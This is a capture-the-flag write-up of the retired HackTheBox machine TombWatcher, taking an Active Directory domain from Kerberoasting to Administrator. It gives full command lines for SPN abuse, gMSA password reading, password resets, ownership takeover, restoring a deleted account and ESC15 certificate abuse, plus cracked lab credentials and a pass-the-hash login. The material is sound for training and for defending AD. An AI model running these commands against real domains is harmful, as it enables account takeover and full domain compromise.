5 minute read

HTB TombWatcher

Difficulty: Medium
OS: Windows Server 2019
Platform: HackTheBox
Category: Active Directory
Status: Retired


Overview

TombWatcher chains together multiple AD permission abuses in a clean escalation path. Starting from henry with WriteSPN over alfred, the chain runs through targeted Kerberoasting, gMSA abuse, ForceChangePassword, WriteOwner, and GenericAll before landing a WinRM shell. Privilege escalation goes through a deleted account restored from the AD Recycle Bin, an ESC15 vulnerable certificate template, and an Enrollment Agent certificate that signs for Administrator. Long chain, every step logical.


Reconnaissance

Nmap

nmap -sV -sS -T4 -A -Pn 10.129.232.167
PORT     STATE SERVICE
53/tcp   open  dns
88/tcp   open  kerberos-sec
389/tcp  open  ldap
445/tcp  open  microsoft-ds
5985/tcp open  winrm
Domain: tombwatcher.htb DC: DC01.tombwatcher.htb SMB signing enforced.
echo "10.129.232.167 dc01.tombwatcher.htb tombwatcher.htb" | sudo tee -a /etc/hosts

Starting credentials: henry:H3nry_987TGV!


BloodHound

bloodhound-python -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb \
  -dc dc01.tombwatcher.htb -ns 10.129.232.167 -c all

Full attack path mapped:

henry  -> WriteSPN over alfred
alfred -> AddSelf to INFRASTRUCTURE group
INFRASTRUCTURE -> ReadGMSAPassword over ansible_dev$
ansible_dev$ -> ForceChangePassword over sam
sam -> WriteOwner over john
john -> GenericAll over ADCS OU
john -> member of Remote Management Users

Foothold — Targeted Kerberoasting via WriteSPN

Adding an SPN to Alfred

Henry has WriteSPN over alfred. Add an SPN to make alfred kerberoastable: WriteSPN

python3 /opt/krbrelayx/addspn.py \
  -u 'tombwatcher.htb\henry' -p 'H3nry_987TGV!' \
  -t 'alfred' -s 'HTTP/alfred.tombwatcher.htb' 10.129.232.167

Getting the TGS

ft dc01.tombwatcher.htb impacket-getTGT \
  'tombwatcher.htb/henry:H3nry_987TGV!' -dc-ip 10.129.232.167

export KRB5CCNAME=henry.ccache

ft dc01.tombwatcher.htb impacket-GetUserSPNs \
  tombwatcher.htb/henry -k -no-pass \
  -dc-ip 10.129.232.167 -request

CRACKED

Cracking the Hash

hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt

YKB

Cracked: alfred:basketball


Lateral Movement — gMSA Abuse

Alfred Adds Himself to INFRASTRUCTURE

GMSA

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u alfred -p 'basketball' add groupMember Infrastructure alfred

Reading ansible_dev$ gMSA Password

ft dc01.tombwatcher.htb nxc ldap 10.129.232.167 \
  -u alfred -p 'basketball' -k --gmsa

HASH

ansible_dev$ NTLM: b91f529d36292ba764273e5dd7b90fa1

Lateral Movement — Sam

Password

ForceChangePassword over sam:

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u 'ansible_dev$' -p ':b91f529d36292ba764273e5dd7b90fa1' \
  set password sam 'Dontoliver1'

Lateral Movement — John

WriteOwner

Sam has WriteOwner over john. Take ownership, grant GenericAll, reset password:

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u sam -p 'Dontoliver1' set owner john sam

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u sam -p 'Dontoliver1' add genericAll john sam

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u sam -p 'Dontoliver1' set password john 'Kdot+Drake'

User Flag

WInrm

John is in Remote Management Users:

evil-winrm -i 10.129.232.167 -u john -p 'Kdot+Drake'
type C:\Users\john\Desktop\user.txt
[REDACTED]

User flag captured.


Privilege Escalation — ADCS ESC15 (CVE-2024-49019)

Enumerating ADCS

GenericAll

John has GenericAll over the ADCS OU. Certipy finds the WebServer template:

certipy-ad find -u 'john@tombwatcher.htb' -p 'Kdot+Drake' \
  -dc-ip 10.129.232.167 -stdout

Key finding: the WebServer template is Schema Version 1 with an unresolved SID (S-1-5-21-...-1111) in enrollment rights. Unresolved SID means a deleted account that still holds rights. That is an AD Recycle Bin target.


Restoring cert_admin from AD Recycle Bin

Cert

Get-ADObject -Filter 'isDeleted -eq $true' \
  -IncludeDeletedObjects -Properties cn,objectSid,isDeleted \
  | Where-Object { $_.isDeleted -eq $true }

Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

Propagating FullControl from the ADCS OU

John has GenericAll over the ADCS OU. Push that down to cert_admin:

impacket-dacledit -action 'write' -rights 'FullControl' \
  -inheritance -principal 'john' \
  -target-dn 'OU=ADCS,DC=tombwatcher,DC=htb' \
  tombwatcher.htb/john:'Kdot+Drake'

Resetting cert_admin Password

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u john -p 'Kdot+Drake' set password cert_admin 'jackharlow'

What ESC15 Actually Is

ESC15 targets Schema Version 1 certificate templates where the enrollee supplies the subject. Schema v1 templates don’t enforce Application Policy constraints during issuance. This means an attacker can inject the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) into the certificate request, turning a Server Authentication certificate into an Enrollment Agent certificate that can request certificates on behalf of any user in the domain — including Administrator.


Step 1 — Request Enrollment Agent Certificate

certipy-ad req -ca 'tombwatcher-CA-1' \
  -u 'cert_admin@tombwatcher.htb' -p 'jackharlow' \
  -dc-ip 10.129.232.167 \
  -template WebServer \
  -application-policies '1.3.6.1.4.1.311.20.2.1' \
  -target-ip 10.129.232.167

Output: cert_admin.pfx — Enrollment Agent certificate.

Step 2 — Request Certificate on Behalf of Administrator

certipy-ad req -u 'cert_admin@tombwatcher.htb' -p 'jackharlow' \
  -dc-ip 10.129.232.167 \
  -target-ip 10.129.232.167 \
  -ca 'tombwatcher-CA-1' \
  -template User \
  -on-behalf-of 'tombwatcher\administrator' \
  -pfx cert_admin.pfx

Output: administrator.pfx

Step 3 — Authenticate and Get NTLM Hash

ft dc01.tombwatcher.htb certipy-ad auth \
  -dc-ip 10.129.232.167 -pfx administrator.pfx

PFX

Administrator NTLM: f61db423bebe3328d33af26741afe5fc

Root Flag

evil-winrm -i 10.129.232.167 -u administrator \
  -H 'f61db423bebe3328d33af26741afe5fc'
type C:\Users\Administrator\Desktop\root.txt
[REDACTED]

Root flag captured. Domain pwned.


Full Attack Chain

henry:H3nry_987TGV! (given)
  |
  WriteSPN over alfred -> add SPN -> Kerberoast
  -> alfred:basketball
     |
     AddSelf to INFRASTRUCTURE group
     -> ReadGMSAPassword -> ansible_dev$ NTLM hash
        |
        ForceChangePassword over sam -> sam:Dontoliver1
           |
           WriteOwner over john -> set owner -> GenericAll -> reset password
           -> john:Kdot+Drake -> WinRM -> USER FLAG
              |
              GenericAll over ADCS OU
              -> unresolved SID on WebServer template
              -> restore cert_admin from AD Recycle Bin
              -> propagate FullControl -> reset cert_admin password
                 |
                 ESC15 (CVE-2024-49019): inject Certificate Request Agent OID
                 -> cert_admin.pfx (Enrollment Agent)
                 -> request cert on behalf of Administrator
                 -> administrator.pfx -> NTLM hash
                 -> evil-winrm -> ROOT FLAG

BTW WHERE YOU SEE ME US “ft”, is a little bash script for faketime i use. Rather than always having to check and update the time. So here you go(^_^)/~ :

#!/bin/sh
DC="${1}"
shift
if [ -z "$DC" ]; then
    echo "[!] Usage: ft <DC_HOSTNAME> <command>"
    echo "    Example: ft dc01.domain.htb nxc smb <IP> -u user -p pass"
    exit 1
fi
TS="$(ntpdate -q "$DC" | awk '{print $1, $2; exit}')"
if [ -z "$TS" ]; then
    echo "[!] Failed to fetch DC time"
    exit 1
fi
echo "[+] Using DC time: $TS"
exec faketime "$TS" "$@"

What Did We Learn?

1. WriteSPN is a Kerberoasting primitive
Any write to the servicePrincipalName attribute lets you add a fake SPN and Kerberoast the account. It’s a quieter path than password spray and doesn’t require the account to already be a service account.

2. gMSA membership groups deserve scrutiny
PrincipalsAllowedToReadPassword controls who can dump the gMSA hash. In this case, getting alfred into the INFRASTRUCTURE group was enough to read ansible_dev$’s hash. Membership in those groups is as sensitive as the service account itself.

3. WriteOwner enables full object compromise
Changing ownership then granting GenericAll is a two-step full takeover of any AD object. Once you own an object you can give yourself any permission you want.

4. Unresolved SIDs in certificate template ACLs signal deleted accounts
When certipy shows a SID instead of a name in enrollment rights, that account was deleted but its permissions persisted. AD Recycle Bin can bring it back with those rights intact. Always investigate unresolved SIDs.

5. ESC15 turns any Schema v1 template into an Enrollment Agent path
Schema Version 1 templates don’t validate Application Policy extensions. Injecting the Certificate Request Agent OID converts a basic Server Authentication certificate into one that can enroll on behalf of any domain user. The fix is upgrading templates to Schema v2 or disabling enrollee-supplied subject on sensitive templates.

6. GenericAll on an OU propagates down with dacledit
GenericAll on the ADCS OU didn’t automatically give control over objects inside it until we used dacledit to push the permission down with inheritance. Understanding how OU-level permissions interact with object-level permissions matters for both attack and defence.


pwned

*Written by 0x5h4q 0x5h4q.github.io*